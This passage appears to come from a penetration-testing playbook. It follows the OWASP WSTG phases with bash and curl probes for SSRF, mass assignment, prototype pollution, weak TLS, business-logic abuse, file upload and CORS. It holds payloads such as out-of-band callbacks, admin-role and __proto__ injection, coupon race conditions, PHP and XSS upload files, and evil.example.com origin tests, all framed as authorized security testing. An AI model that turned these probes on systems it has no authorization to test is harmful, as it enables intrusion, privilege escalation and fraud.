#### 7.19 SSRF (WSTG-INPV-19)

```bash
# Use an OOB Collaborator / Burp Collaborator / interactsh
CALLBACK="your-id.oastify.com"

# Test URL parameters that fetch external resources
for param in url uri path redirect callback webhook src proxy file image \
  avatar import fetch download; do
  curl -sS --max-time 10 \
    "https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null
  sleep 1
done

# Test request body JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
  -H 'Content-Type: application/json' \
  -d "{\"url\":\"http://${CALLBACK}\"}" \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null
```

**Pitfalls:** A DNS callback from a CDN or webhook validation service does not
prove the target made the request. Check the User-Agent, source IP, and timing.

**Verification:** Confirmed callback with identifying information (source IP,
User-Agent, or path unique to the target). For cloud metadata access, confirmed
retrieval of credentials or instance data.

#### 7.20 Mass Assignment (WSTG-INPV-20)

```bash
# Try setting privileged fields
curl -sS --max-time 10 -X POST "https://${TARGET}/api/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"test","password":"test","role":"admin","isAdmin":true,"verified":true}' \
  2>/dev/null | python3 -m json.tool 2>/dev/null
```

**Verification:** The response confirms the escalated role, or a subsequent
authenticated request demonstrates the escalated privilege.

#### 7.22 Prototype Pollution (WSTG-INPV-22)

```bash
# Client-side (browser console)
Object.prototype.polluted = true
# Check if new objects have the property

# Server-side via JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/update" \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"isAdmin":true},"constructor":{"prototype":{"isAdmin":true}}}' \
  2>/dev/null
```

---

### Phase 8: Error Handling (WSTG-ERRH-01 through ERRH-02)

#### 8.1 Improper Error Handling (WSTG-ERRH-01)

```bash
# Trigger errors with malformed input
for trigger in \
  "/nonexistent" \
  "?id=abc" \
  "?id[]=1" \
  "?id=999999999999" \
  "?id=-1" \
  "?id=0" \
  "'" \
  "%00"; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}${trigger}" \
    -o "$OUTPUT_DIR/evidence/error-$(echo $trigger | md5sum | cut -c1-8).html" \
    -w '%{http_code}' 2>/dev/null)
  echo "$trigger: $code"
  sleep 1
done
```

**Check each response body for:** stack traces, framework names and versions,
SQL queries, file paths, database connection strings, internal IPs, API keys.

#### 8.2 Stack Traces (WSTG-ERRH-02)

```bash
# Common stack trace patterns
grep -rniE '^\s*at |stack trace|traceback|\.py", line |\.java:|\.php on line|\.rb:\d+:|\.go:\d+|in `|\.tsx:\d+:|\.js:\d+' \
  "$OUTPUT_DIR/evidence/" 2>/dev/null
```

**Verification:** Response contains a full stack trace with framework-internal
paths and line numbers, not just a generic error message.

---

### Phase 9: Weak Cryptography (WSTG-CRYP-01 through CRYP-04)

#### 9.1 Weak TLS (WSTG-CRYP-01)

```bash
# Quick TLS version and cipher check
nmap -sV --script ssl-enum-ciphers -p 443 "$TARGET" 2>/dev/null

# Check certificate validity
openssl s_client -connect "${TARGET}:443" -servername "$TARGET" \
  </dev/null 2>/dev/null | openssl x509 -noout -text \
  | grep -E 'Not Before|Not After|Issuer:|Subject:'

# testssl.sh for comprehensive analysis
testssl --quiet --json "$TARGET" 2>/dev/null
```

**Verification:** TLS 1.0/1.1 supported, weak ciphers (RC4, 3DES, EXPORT),
missing forward secrecy, invalid/expired certificate, or hostname mismatch.

#### 9.2 Padding Oracle (WSTG-CRYP-02)

```bash
# Test for padding oracle in encrypted cookies or tokens
# Requires specialized tools: padbuster, padding-oracle-attacker
# This is a detection probe, not a full exploit
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
  -H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
  -o /dev/null -w '%{http_code}' 2>/dev/null)

code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
  -H 'Cookie: session=MODIFIED_LAST_BYTE' \
  -o /dev/null -w '%{http_code}' 2>/dev/null)

echo "Valid: $code_ok, Modified: $code_bad"
```

**Pitfalls:** A different response code does not automatically indicate a
padding oracle. You need to systematically flip bytes and observe consistent
padding-error vs data-error behavior.

#### 9.3 Unencrypted Channels (WSTG-CRYP-03)

```bash
# Check if the site is available over HTTP
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo "HTTP: $code"

# Check for mixed content on the HTTPS version
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
  | grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'
```

#### 9.4 Weak Cryptographic Primitives (WSTG-CRYP-04)

Inspect any observed cryptographic values: tokens, cookies, API keys, password
hashes. Check for:
- MD5 or SHA1 in security contexts
- ECB mode in encrypted tokens
- Hardcoded keys or IVs
- Predictable random values (timestamps, sequential counters)

---

### Phase 10: Business Logic (WSTG-BUSL-01 through BUSL-10)

#### 10.1 Data Validation (WSTG-BUSL-01)

```bash
# Negative quantity in cart
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
  -H 'Content-Type: application/json' \
  -d '{"product_id":1,"quantity":-1}' 2>/dev/null

# Zero or negative price
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
  -H 'Content-Type: application/json' \
  -d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null
```

#### 10.2 Forge Requests (WSTG-BUSL-02)

```bash
# Check if signed values (coupons, discounts) can be modified
# Try changing a coupon code parameter
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
  -H 'Content-Type: application/json' \
  -d '{"coupon":"FREE100"}' 2>/dev/null
```

#### 10.3 Integrity Checks (WSTG-BUSL-03)

Inspect whether price, quantity, and discount values in requests are
validated against server-side values. Modify them in transit and observe.

#### 10.4 Process Timing (WSTG-BUSL-04)

```bash
# Race condition: apply coupon multiple times simultaneously
for i in $(seq 1 5); do
  curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
    -H 'Content-Type: application/json' \
    -d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo
```

#### 10.6 Circumvent Workflows (WSTG-BUSL-06)

```bash
# Skip checkout steps by accessing later URLs directly
for step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
    -H 'Cookie: session=VALID_SESSION' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$step: $code"
  sleep 1
done
```

#### 10.8/10.9 File Upload (WSTG-BUSL-08/09)

```bash
# Test accepted file types
echo '<?php phpinfo(); ?>' > /tmp/test.php
echo '<script>alert(1)</script>' > /tmp/test.html
echo '<svg/onload=alert(1)>' > /tmp/test.svg

for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
  code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
    -F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$(basename $file): $code"
  sleep 1
done
```

**Pitfalls:** File upload tests are state-changing. Only test on scope-approved
endpoints with inert content. Remove uploaded files afterward when possible.

**Verification:** Uploaded file is accessible and executes (PHP, JSP) or
renders (HTML, SVG) when requested through its URL.

---

### Phase 11: Client-side Testing (WSTG-CLNT-01 through CLNT-15)

#### 11.1 DOM XSS (WSTG-CLNT-01)

Use browser DevTools to trace data flow from source (URL, postMessage,
localStorage, document.cookie) to sink (innerHTML, document.write, eval,
location). Check for missing sanitization at each sink.

#### 11.4 Client-side Redirect (WSTG-CLNT-04)

```bash
# Test URL parameters that may trigger client-side redirect
for param in redirect url next return_to goto target callback; do
  curl -sS --max-time 10 \
    "https://${TARGET}/login?${param}=https://evil.example.com" \
    -o /dev/null -w '%{redirect_url}\n' 2>/dev/null
  sleep 1
done
```

#### 11.5 CSS Injection (WSTG-CLNT-05)

Injected CSS can exfiltrate data character-by-character via attribute
selectors and background-image URLs. Test inputs that appear in style
attributes or `<style>` blocks.

#### 11.7 CORS (WSTG-CLNT-07)

```bash
# Test origin reflection
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: https://evil.example.com' -o /dev/null 2>&1 \
  | grep -i 'access-control'

# Test null origin
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: null' -o /dev/null 2>&1 \
  | grep -i 'access-control'

# Test subdomain bypass
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
  -H 'Origin: https://evil.${TARGET}' -o /dev/null 2>&1 \
  | grep -i 'access-control'
```

**Verification:** ACAO reflects the attacker origin AND ACAC is true AND the
endpoint returns user-specific data (not public information).

#### 11.9 Clickjacking (WSTG-CLNT-09)

```bash
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'x-frame-options|content-security-policy.*frame-ancestors'
```

**Verification:** Missing X-Frame-Options or CSP frame-ancestors on a page
with sensitive actions (login, settings, payment).

#### 11.10 WebSockets (WSTG-CLNT-10)

```bash
# Check Origin validation on WebSocket upgrade
curl -sS -D - --max-time 10 \
  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
  -H 'Origin: https://evil.example.com' \
  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
  -H 'Sec-WebSocket-Version: 13' \
  "https://${TARGET}/ws" -o /dev/null 2>&1
```

#### 11.12 Browser Storage (WSTG-CLNT-12)

Inspect localStorage, sessionStorage, IndexedDB, and cookies for sensitive
data: tokens, API keys, PII, internal hostnames, feature flags that expose
unreleased functionality.

---

### Phase 12: API Testing (WSTG-APIT-01 through APIT-99)

#### 12.1 API Reconnaissance (WSTG-APIT-01

…(truncated)
